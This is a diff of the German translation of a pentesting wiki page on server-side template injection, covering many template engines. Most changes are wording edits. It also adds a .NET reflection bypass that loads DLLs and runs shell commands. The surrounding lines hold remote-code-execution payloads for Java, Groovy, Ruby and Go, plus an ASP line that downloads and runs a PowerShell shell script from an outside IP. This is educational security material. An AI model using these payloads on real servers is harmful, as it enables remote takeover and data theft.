diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index c989909dc..545a3d7a2 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -4,7 +4,7 @@ ## Was ist SSTI (Server-Side Template Injection) -Server-seitige Template-Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja. +Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja. Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Snippet mit Jinja demonstriert: ```python @@ -16,18 +16,18 @@ Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem ers ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird. +Die Payload `{{bad-stuff-here}}` wird in den `name`-Parameter injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird. Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern. ### Erkennung -Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Payload. Anzeichen für Schwachstellen sind: +Um Server-Side Template Injection (SSTI) zu erkennen, ist es zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Payload. Anzeichen für Schwachstellen sind: - Ausgelöste Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren. - Abwesenheit der Payload in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten. - **Plaintext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`). -- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, indem `greeting` in `http://vulnerable-website.com/?greeting=data.username` geändert wird, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt. +- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt. #### Identifizierungsphase @@ -68,14 +68,14 @@ eine interaktive Tabelle, die die effizientesten Template-Injection-Polyglots so ### Generic -In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen einiger der unten genannten Engines: +In dieser **Wortliste** finden Sie **Variablen, die** in den Umgebungen einiger der unten genannten Engines definiert sind: - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java -**Java - Grundlegende Injektion** +**Java - Grundlegende Injection** ```java ${7*7} ${{7*7}} @@ -171,9 +171,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, wobei Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte eine einfache SSTI-Testlast wie `[[${7*7}]]` aussehen. -Die Wahrscheinlichkeit, dass diese Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist. +Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist. -Thymeleaf bietet auch _expression preprocessing_, bei dem Ausdrücke innerhalb doppelter Unterstriche (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf gezeigt: +Thymeleaf bietet auch _expression preprocessing_, bei dem Ausdrücke innerhalb doppelter Unterstriche (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert: ```java #{selection.__${sel.code}__} ``` @@ -184,7 +184,7 @@ Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein ``` -Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift: +Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -261,7 +261,7 @@ Alte Version von Pebble ( < Version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -Neue Version von Pebble: +Neue Version von Pebble : ```java {% raw %} {% set cmd = 'id' %} @@ -319,7 +319,7 @@ Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H - `{{request.getClass()}}` - Klasse com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() -Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/). +Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False @@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -### Ausdruckssprache - EL (Java) +### Expression Language - EL (Java) - `${"aaaa"}` - "aaaa" - `${99999+1}` - 100000. @@ -372,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind: +Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind: - **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden. - **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden. @@ -386,7 +386,7 @@ el-expression-language.md ### Groovy (Java) -Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -481,7 +481,7 @@ array("first_name" => $user.first_name) ### Plates (PHP) -Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht. +Plates ist eine Templating-Engine, die nativ in PHP entwickelt wurde und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht. Controller: ```php @@ -668,9 +668,9 @@ URLencoded: | **Template** | **Beschreibung** | | ------------ | --------------------------------------- | -| | Auswerten und Ausgabe rendern | +| | Auswerten und Ausgabe rendern | | | Auswerten und HTML-kodierte Ausgabe rendern | -| | Kommentar | +| | Kommentar | | und | Code erlauben (standardmäßig deaktiviert) | - \= 49 @@ -741,7 +741,7 @@ range.constructor( - `{{7*7}} = {{7*7}}` - `${7*7} = ${7*7}` - `<%= 7*7 %> = 49` -- `<%= foobar %> = Error` +- `<%= foobar %> = Fehler` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder @@ -814,7 +814,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ [Offizielle Website](http://jinja.pocoo.org) -> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, ist weit verbreitet und unterliegt der BSD-Lizenz. +> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert. - `{{7*7}} = Fehler` - `${7*7} = ${7*7}` @@ -900,7 +900,7 @@ ${x} - `@(2+2) <= Erfolg` - `@() <= Erfolg` - `@("{{code}}") <= Erfolg` -- `@ <=Erfolg` +- `@ <= Erfolg` - `@{} <= FEHLER!` - `@{ <= FEHLER!` - `@(1+2)` @@ -924,10 +924,27 @@ Die .NET `System.Diagnostics.Process.Start` Methode kann verwendet werden, um je ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` -**Mehr Informationen** +**Weitere Informationen** - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net Einschränkungen umgehen + +Die .NET Reflection-Mechanismen können verwendet werden, um Blacklisting zu umgehen oder Klassen, die nicht im Assembly vorhanden sind, zu umgehen. DLLs können zur Laufzeit mit Methoden und Eigenschaften geladen werden, die von grundlegenden Objekten zugänglich sind. + +Dlls können geladen werden mit: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - vom Dateisystem. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direkt aus der Anfrage. + +Vollständige Befehlsausführung: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Mehr Informationen** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby. @@ -942,9 +959,9 @@ Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby. Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen: -- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenbaren. +- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren. - `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen. -- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden. +- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation {#ref}hier{#endref} erkundet werden.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

@@ -956,9 +973,9 @@ vbnet Copy code **RCE Exploitation** -Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/). +Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist {#ref}hier für html/template{#endref} und {#ref}hier für text/template{#endref} verfügbar. -Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie folgt ausgenutzt werden: `{{ .System "ls" }}`. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel: +Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -972,7 +989,7 @@ return string(out) ### Weitere Exploits -Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Außerdem finden Sie interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Auch interessante Tag-Informationen finden Sie in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF